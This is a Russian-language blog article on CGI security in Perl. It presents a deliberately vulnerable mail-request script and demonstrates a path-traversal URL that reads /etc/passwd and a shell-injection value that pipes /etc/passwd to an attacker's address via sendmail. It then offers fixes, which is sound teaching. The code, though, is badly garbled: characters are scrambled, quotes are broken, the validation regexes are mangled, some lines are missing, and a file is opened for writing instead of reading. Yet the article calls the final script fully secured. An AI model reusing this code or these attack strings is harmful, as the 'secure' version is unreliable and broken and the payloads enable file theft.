Безопасность CGI.
Метки: CGI | Perl
Пятница, 31 июля 2009 г.
Просмотров: 7679
Подписаться на комментарии по RSS
WEB-скриптинг.
Непонятно, почему многие администраторы закрывают глаза на используемые на их сервере CGI-скрипты, при данном они часами могут настраивать остальные аспекты безопасности системы, даже не ведая, что творится у них «под носом». А ведь CGI-скприпты, особенно написанные третьими лицами (форумы, гостевые книги и т.д.), отображают большую угрозу безопасности для Web-сервера.
Ранее было показано, как надо употреблять CGI-скрипт для выполнения команд с привилегиями Web-сервера. Но это далеко не весь вред, который могут причинить Web-скрипты. Поэтому Web-скриптингу можно уделить значительно больше внимания, чем обычно.
Нужно убедиться, что выключен SSI и CGI, если в них нет потребности.
Рекомендуется создать для SSI и CGI два каталога (один для SSI и один для CGI), доступ к которым будет контролироваться. Если пользователю нужен CGI-сценарий, он должен будет попросить поместить этот сценарий в каталог CGI. Тогда, перед записью сценария можно проверить его на фигурирование вредоносного кода.
Безопасное CGI-программирование на PERL.
CGI - это не язык программирования, а интерфейс, позволяющий запускать на удаленном сервере CGI-сценарии и возвращать пользователю результат их выполнения (вывод). Сами CGI-сценарии могут быть написаны практически на любом языке программирования - С, PHP, Perl, Java, TCL, Python и даже на встроенном языке Bash.
Наиболее популярным для написания CGI-сценариев представляется язык Perl. К тому же Perl содержит функции для «безопасного программирования». Употребление этих функций будет описано на примере создания небольшого сценария, позволяющего посетителям Web-сайта запрашивать подробную информацию о продукте по электронной почте.
Проект будет состоять из двух файлов - файла request.html и файла request.pl. Первый файл - это HTML-форма запроса. Она выводит форму, позволяющую ввести имя пользователя и его электронный адрес, и выбрать продукт, о котором он хотел бы получить подробную информацию.
Второй файл - это собственно сам сценарий. Надо было бы объединить данные два файла в один - то есть написать сценарий так, чтобы он при запуске без параметров выводил форму запроса, но для упрощения кода сценария этого не будет сделано.
Вот файл request.html:
<form method=post action=request.pl>
Ваш e-mail: <input type=text name="email"xbr>
Ваше имя: <input type=text name="name"xbr>
Выберите продукт, о котором вы бы хотели получить больше
информации:
<select name=document>
<option value="dvd.txt">DVD-пpoигpывaтeль</option>
<option value="vcr.txt">VCR</option>
<option value="tv_widescreen.txt">Teлeвизop с широким 3KpaHOM</option>
<option уа1ие="1^_1г^зсгееп.Ъх(:">Телевизор с плоским экраном</ор1:1оп>
</select>
<br><br>
<input type=submit>
</form> </body> </html>
Сценарий request.pl выглядит так:
$sendmailpath = "/usr/lib/sendmail";
$name = $q->param("name"); $mail = $q->param("email"); $document = $q->param ("document");
open (IN, "> /var/www/html/docs/$document"); while (<IN>) { $content .= $_
}
close IN;
open(MAIL, "| $sendmailpath $email");
print MAIL "Reply: support\@example.com\n";
print MAIL "Subject: Информация о продукте\п";
print MAIL "\n";
print MAIL "Уважаемый $name! Вы запросили техническую
информацию об интересующем Вас продукте. Если у вас
будут дополнительные вопросы, пожалуйста, свяжитесь
с нами. \п\п"; print MAIL $content; close MAIL;
print "Content-type:text/html\n\n";
print "<htmlxbody>Cпасибо за внимание к нашей продукции.
Интересующая вас информация отправлена по указанному Вами
адресу";
Как работает сценарий?. Он получает значения переменных name, email и document. Переменная document содержит имя файла, который можно открыть и отправить пользователю по указанному e-mail.
С виду - обычный сценарий, ничего опасного в нем нет. Но данный сценарий позволят хакеру получить какой угодно файл. Это очень легко реализовать. Нужно изменить метод формы с POST на GET, загрузить форму вторично, выбрать товар, к примеру VCR, и нажать кнопку Submit. Обратите внимание на строку адреса в браузере:
http://www.test.com/cgi-bin/request.pl?name=text&email=xak@crack.gov&document=vcr.txt
Хакер может указать в качестве значения переменной document какой угодно файл в системе. Чтобы выйти за пределы каталога /var/www/ html/, ему надо просто применять синтаксис ../. К примеру, чтобы получить файл /etc/passwd на свой ящик, ему можно ввести следующую строку в поле адреса его браузера:
http://www.test.com/cgi-bin/request.pl?name=text&email=xak@crack.gov&document=../../••/../etc/passwd
Чтобы избежать подобного, надо изменить сценарий. Существует несколько методов, пригодных для применения в конкретном случае:
- Употреблять регулярные выражения, чтобы проверить, содержит ли адрес последовательность ../. Если да, то вывести сообщение об ошибке и завершить работу сценария. Такой способ требует знания регулярных выражений.
- Проверять расширения файла: если оно не содержит .txt, то вывести сообщение об ошибке и завершить работу сценария.
- А надо просто жестко привязать сценарий к этим четырем файлам - самый простой способ, но сложнее для такого сценария и не надо, поэтому перепишем сценарий так:
use CGI;
$q = new CGI;
$sendmailpath = "/usr/lib/sendmail";
$name = $q->param("name") ; $mail = $q->param("email"); $document = $q->param("document");
if ($document eq Mvd'.txt) {
$filename=' dvd. txt' } elseif ($document eq Vcr'.txt) {
$filename='vcr. txt' } elseif ($document eq vtv_widescreen.txt) (
$filename=' tv_widescreen.txt * ) else {
$filename=' tv_flatscreen.txt ' }
open (IN, "> /var/www/html/docs/$filename);
Теперь крекер не сможет получить доступ к любому файлу. Но это еще не все. В сценарии есть еще одна «дыра» в строке:
Эта дыра демонстрирует всю опасность запуска внешних команд из CGI-сценария. В этом случае Perl запускает команду sendmail и передает ей переменную $email в качестве аргумента. Однако выполнение реализовывается через командную оболочку, следовательно, хакер может указать любую команду и она будет выполнена системой.
К примеру, если он вместо email передаст следующую строку ; cat /etc/passwd sendmail xak@test.com, то будет выполнена следующая последовательность действий:
cat /etc/passwd | sendmail xak@test.com
В результате выполнения последней команды содержимое /etc/passwd будет отправлено на e-mail крекера.
Чтобы не допустить подобного, можно произвести проверку введенного пользователем e-mail на корректность. E-mail не должен содержать слэшей, точек с запятой, символа потока () и т.д. Адрес должен состоять из цифр, букв, символа @ и точек. Для проверки корректности e-mail нужно употреблять следующий код:
# который не \w (буква-цифра) . или @, то
print "Content-type: text/html\n\n";
print "<html><body>Baui e-mail не корректен. Нажмите кнопку
Назад и проверьте aflpec</body></html>"
exit
}
Уже хорошо - хакер не может употреблять переменную $email для выполнения вредоносных и опасных команд. Однако и это еще не все.
В руководстве по sendmail сказано, что при употреблении опции -t sendmail не будет считать параметры командной строки адресом e-mail. Для большей безопасности изменим сценарий следующим образом:
print MAIL "To: $email\n";
print MAIL "Reply: support\@example.com\n";
print MAIL "Subject: Информация о продукте\п";
print MAIL "\n";
print MAIL "Уважаемый $name! Вы запросили техническую информацию об интересующем Вас продукте. Если у вас будут дополнительные вопросы, пожалуйста, свяжитесь с нами. \п\п";
print MAIL $content;
close MAIL;
Теперь переменная $email не применяется в качестве аргумента программы sendmail, что еще больше добавит забот хакеру.
Однако еще не рассмотрена переменная $name. Ее сценарий использует просто для вывода в текст письма, поэтому она не олицетворяет никакого риска. Сценарий в полной мере защищен. Чтобы лишний раз перестраховаться, можно добавить регулярное выражение, проверяющее, чтобы имя пользователя содержало только английские буквы и пробелы.
Рассмотрим полную версию защищенного сценария:
use CGI;
$q = new CGI;
$sendmailpath = "/usr/lib/sendmail";
$name = $q->param("name") ; $mail = $q->param("email") ; $document = $q->param("document");
if ($document eq Ndvd'.txt) {
$filename=' dvd. txt' } elseif ($document eq 'vcr'.txt) {
$filename=' vcr. txt' } elseif ($document eq 4v_widescreen.txt) {
$filename=' tv_widescreen.txt ' } else {
$filename=' tv_flatscreen.txt ' } if ($email =~ /A[\w.@]/) { "если email содержит любой символ
# который не \w (буква-цифра) . или @, то print "Content-
type: text/html\n\n";
print "<html><body>Baui e-mail не корректен. Нажмите кнопку
Назад и проверьте
aflpec</body></html>"
exit
}
if ($name =~/л[a-zA-Z.]/) {
print "Content-type: text/html\n\n";
print "<html><body>HMH должно содержать только буквы и пpoбeлы</body></html>"; exit }
open (MAIL, "| $sendmailpath -t"); print MAIL "To: $email\n";
print MAIL "Reply: support\@example.com\n"; print MAIL "Subject: Информация о продукте\г." ; print MAIL "\n";
print MAIL "Уважаемый $name! Вы запросили техническую информацию об интересующем Вас продукте. Если у вас будут дополнительные вопросы, пожалуйста, свяжитесь с нами. \п\п"; print MAIL $content; close MAIL;
Проверка введенных пользователем данных может стать настоящей основной болью. Обратите внимание: сколько усилий было потрачено на защиту порядком небольшого сценария. Представте, сколько времени надо, чтобы обезопасить большие сценарии, к примеру сценарии форумов или чатов?
Чтобы хоть как-то помочь, Perl предоставляет собственный механизм - инфекционный режим (taint mode). В данном режиме Perl обрабатывает все внешние данные (переменные окружения, параметры командной строки, CGI-ввод) и отказывается воплощать какие-либо потенциально опасные действия. Потенциально опасными являются операции записи файлов exec (), system () и любое прочее действие, которое может повлиять на внешний файл или процесс.
У инфекционных переменных есть одно интересное свойство: они «заражают» переменные, находящиеся вокруг них. В следующем примере инфекционной представляется переменная $fullname, так как ее ввел пользователь, но она «заражает» тоже переменные $firstname и $ surname, которые используются наряду с ней:
«Очистить» переменные нужно с помощью употребления к ним регулярных выражений: Perl считает, что регулярные выражения достаточно устойчивые, следовательно, данные, пропущенные через регулярные выражения, являются безопасными.
Для включения инфекционного режима применяется опция -Т
(#!/usr/bin/perl -T).